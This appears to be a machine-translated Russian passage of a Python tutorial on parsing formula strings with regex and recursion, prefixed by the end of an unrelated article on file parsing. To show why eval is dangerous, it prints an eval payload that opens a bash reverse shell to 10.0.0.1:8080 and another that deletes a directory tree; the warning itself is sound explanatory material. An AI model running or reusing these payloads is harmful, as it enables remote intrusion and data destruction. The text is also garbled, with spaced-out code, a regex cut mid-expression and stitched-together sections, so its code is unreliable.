    ЛСкция Π­Ρ€ΠΈΠΊΠ° Π ΠΎΡƒΠ·Π° ΠΏΠΎ PyCon, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠ»ΡŽΡΡ‹ ΠΈ минусы Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°.
  2. Π Π°Π·Π±ΠΎΡ€ Π² Python: инструмСнты ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ:
    Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ парсСры, ΠΊΠΎΠ³Π΄Π° рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ нСдостаточно.

Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅, насколько слоТным ΠΈ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π°Π½Π°Π»ΠΈΠ· тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ², Ссли Π²Ρ‹ ΠΊΠΎΠ³Π΄Π°-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΎΠΊΠ°ΠΆΠ΅Ρ‚Π΅ΡΡŒ Π² ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Ρ„Π°ΠΉΠ»Π°, Π²Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ Π΅Π³ΠΎ с ΠΎΡΡ‚ΠΎΡ€ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ.Π’ΠΎΡ‚ Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Бтэнфорда для Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ².

Π― Π±Ρ‹ солгал, Ссли Π±Ρ‹ сказал, Ρ‡Ρ‚ΠΎ ΠΌΠ½Π΅ понравился ΠΌΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°, Π½ΠΎ я Π½Π΅ знаю Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ способа, быстрого синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° тСкстового Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Π°ΠΊ ΠΆΠ΅ ΡƒΠ΄ΠΎΠ±Π΅Π½ для Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ², ΠΊΠ°ΠΊ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ я прСдставил Π²Ρ‹ΡˆΠ΅. Если Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ Π»ΡƒΡ‡ΡˆΠ΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, я всСм Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»Π΅Π½! НадСюсь, я Π΄Π°Π» Π²Π°ΠΌ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ для Π°Π½Π°Π»ΠΈΠ·Π° Ρ„Π°ΠΉΠ»Π° Π½Π° Python! Π― ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΠ» ΠΏΠ°Ρ€Ρƒ мСсяцСв Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ мноТСство Ρ€Π°Π·Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π±Π΅Π·ΡƒΠΌΠ½ΠΎ Π½Π΅Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ΄, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ я Π½Π°ΠΊΠΎΠ½Π΅Ρ† понял это, ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ я Π½Π΅ Π΄ΡƒΠΌΠ°ΡŽ Π΄Π²Π°ΠΆΠ΄Ρ‹ ΠΎ синтаксичСском Π°Π½Π°Π»ΠΈΠ·Π΅ Ρ„Π°ΠΉΠ»Π°.Π˜Ρ‚Π°ΠΊ, я надСюсь, Ρ‡Ρ‚ΠΎ ΠΌΠ½Π΅ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡ‚ΡŒ Π²Π°ΠΌ врСмя. ΠŸΠΎΠ»ΡƒΡ‡Π°ΠΉΡ‚Π΅ ΡƒΠ΄ΠΎΠ²ΠΎΠ»ΡŒΡΡ‚Π²ΠΈΠ΅ ΠΎΡ‚ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° тСкста с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python!

Как Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ строки Ρ„ΠΎΡ€ΠΌΡƒΠ» Π½Π° Python | ΠšΡ€ΠΈΡΡ‚ΠΎΡ„Π΅Ρ€ Π’Π°ΠΎ

Π˜Π½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΡ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ Π² строковом Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ для Π΅Π΅ выполнСния

Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ я имСю Π² Π²ΠΈΠ΄Ρƒ ΠΏΠΎΠ΄ Β«Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹Β» здСсь? ВмСсто ΠΊΠΎΠ΄Π° a + (b + c) ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Β«a + (b + c)Β» ΠΊΠ°ΠΊ строку, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² Python, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ:

  • ПониманиС основных ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² + , - , * , /
  • ПониманиС ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° вычислСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ * ΠΈ /, слСдуСт Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ Π»ΡŽΠ±Ρ‹ΠΌΠΈ + ΠΈ - .
  • Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки ΠΏΡ€ΠΈ расчСтС ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π°.
  • ΠžΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ… Π±ΠΎΠ»Π΅Π΅ высокого уровня, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ сигма. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ sum () , avg () , min () ΠΈ max () .
  • НаконСц, Π²Ρ‹ смоТСтС Π½Π°ΠΉΡ‚ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° основС ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ a , b ΠΈ c . ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Β«ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β» Π±ΡƒΠ΄ΡƒΡ‚ Π±ΠΎΠ»Π΅Π΅ слоТными.

Основная страница ΠΌΠΎΠ΅Π³ΠΎ GitHub Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π° Π² ΠΊΠΎΠ½Ρ†Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.Π˜Ρ‚Π°ΠΊ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡŒΡ‚Π΅ ΠΌΠ½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ снимки экрана ΠΈΠ· Jupyter Notebook для пошаговой Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π»Π΅Π³Ρ‡Π΅ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ.

ΠŸΠ΅Ρ€Π΅Π΄ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ я Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ ΠΎΠ±ΡΡƒΠ΄ΠΈΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнный синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ способы ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это.

ΠšΡ‚ΠΎ-Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ функция eval .

Однако Π±Ρ‹Π»ΠΎ Π΄ΠΎΠΊΠ°Π·Π°Π½ΠΎ, Ρ‡Ρ‚ΠΎ функция eval ΠΎΡ‡Π΅Π½ΡŒ опасна, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… цСлях ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ Π² производствСнной срСдС.

ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° 1: Ρ…Π°ΠΊΠ΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ выраТСния

Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ…Π°ΠΊΠ΅Ρ€ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Python Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ строки ΠΈ запускаСт ΠΈΡ… Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ eval , эту Π΄Ρ‹Ρ€Ρƒ Π² бСзопасности ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для запуска практичСски всСго.

НапримСр, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ врСдоносныС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ

 eval ("__ import __ ('os'). System ('bash -i> & /dev/tcp/10.0.0.1/8080 0> & 1') #") 

Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠΏΠ°ΡΠ½ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ для удалСния Π²Π°ΠΆΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²

 eval ("__ import __ ('shutil').rmtree ('/ an / important / path /') ") 

ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° 2: ΠΎΠ½ Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ Π€ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния

Π’ΠΎ Π΅ΡΡ‚ΡŒ ваш исходный ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ самодостаточным со всСми Π΅Π³ΠΎ функциями ΠΈ функциями. Он полагаСтся Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ статичСский источник ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ вашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π»Π΅Π³ΠΊΠΎ Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ·-ΠΏΠΎΠ΄ контроля, ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΉ.

ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° 3: Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΏΠ»ΠΎΡ…ΠΎΠΉ рСмонтопригодности

НСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, насколько ΠΏΠ»ΠΎΡ… ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ написали , ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»ΠΈΠ±ΠΎ Ρ€Π΅ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, Π»ΠΈΠ±ΠΎ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ошибки Π² Π½Π΅ΠΌ.Π§Π΅ΠΌ большС Ρƒ нас Β«ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉΒ», Ρ‚Π΅ΠΌ Π±Π»ΠΈΠΆΠ΅ наша ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΊ «идСальной». Однако использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ eval ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ вашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ всСгда ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° тСстирования, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π΅Π΅ «идСальной».

ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° 4: Низкая ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ

Наша ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π±ΡƒΠ΄Π΅Ρ‚ скомпилирована Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΅Π΅ запустим. Однако использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ eval ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ компиляции Β«Π½Π° Π»Π΅Ρ‚ΡƒΒ» ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π½ΠΈΠΆΠ΅ ΠΈ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΉ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ выполнСния.

Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ.

ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ Ρ„Ρ€Π΅ΠΉΠΌ Π΄Π°Π½Π½Ρ‹Ρ… pandas, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ считаСтся нашими Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ.

Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ такая Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°, ΠΊΠ°ΠΊ сумма (tag1) + сумма (tag2) , ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ слоТная, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (сумма (tag1) + avg (tag2)) / avg (tag3) * 100 + max ( tag4) -ΠΌΠΈΠ½ (tag5) .

Наш синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ всС матСматичСскиС выраТСния Π² Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ значСния ΠΈΠ· ΠΊΠ°Π΄Ρ€Π° Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для выполнСния этого вычислСния.

ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ Π΅ΡΡ‚ΡŒ скрытый этап.Π’ΠΎ Π΅ΡΡ‚ΡŒ Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ‚Π΅Π³Π° Π΅ΡΡ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, поэтому Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ всС значСния Π² спискС, Π° Π·Π°Ρ‚Π΅ΠΌ Π°Π³Ρ€Π΅Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ значСния.

Π’Π°ΠΊΠΆΠ΅ оТидаСтся, Ρ‡Ρ‚ΠΎ для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ Π΄Π²Π° основных ΠΌΠ΅Ρ‚ΠΎΠ΄Π°:

  • РСгулярныС выраТСния (рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅)
  • РСкурсивныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ

РСшСниС Π±ΡƒΠ΄Π΅Ρ‚ слоТным. Π˜Ρ‚Π°ΠΊ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π΅ΡˆΠΈΠΌ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ поэтапно.

Π¨Π°Π³ 1. Волько Π°Π³Ρ€Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅

А ΠΏΠΎΠΊΠ° Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅ΠΌ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ.\ (\)] + Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ 1 ΠΈΠ»ΠΈ нСскольким символам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½ΠΈ (, Π½ΠΈ ) , ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ совпадал с Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ суммы (tag1 + (tag2-tag3)) .

  • Π—Π°Ρ‚Π΅ΠΌ f [4: -1] ΡƒΠ΄Π°Π»ΠΈΡ‚ «сумму (Β» с Π½Π°Ρ‡Π°Π»Π° ΠΈ Β«)Β» с ΠΊΠΎΠ½Ρ†Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, строка tag1 Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° самой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ рСкурсии.
  • Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ рСкурсии ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ f Π±ΡƒΠ΄Π΅Ρ‚ строка tag1 , пСрСданная ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ рСкурсии, ΠΈ это Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ рСгулярному Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ r ’\ Atag [\ d] + \ Z’ .
  • ПослС совпадСния функция Π²Π΅Ρ€Π½Π΅Ρ‚ df [df.tag == 'tag1'] ['value']. ​​Values ​​ Π΄ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ рСкурсии, которая прСдставляСт собой массив всСх Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ tag1 Π² ΠΊΠ°Π΄Ρ€Π΅ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….
  • ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π°Ρ рСкурсия Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ np.sum (...) массива, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ рСкурсиСй. Π˜Ρ‚Π°ΠΊ, скалярноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΎ.
  • Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ elif условий для ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… 3 Ρ‚ΠΈΠΏΠΎΠ² Π°Π³Ρ€Π΅Π³Π°Ρ‚ΠΎΠ².

    Π¨Π°Π³ 2. ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Π³Ρ€Π΅Π³Π°Ρ‚Π°ΠΌΠΈ

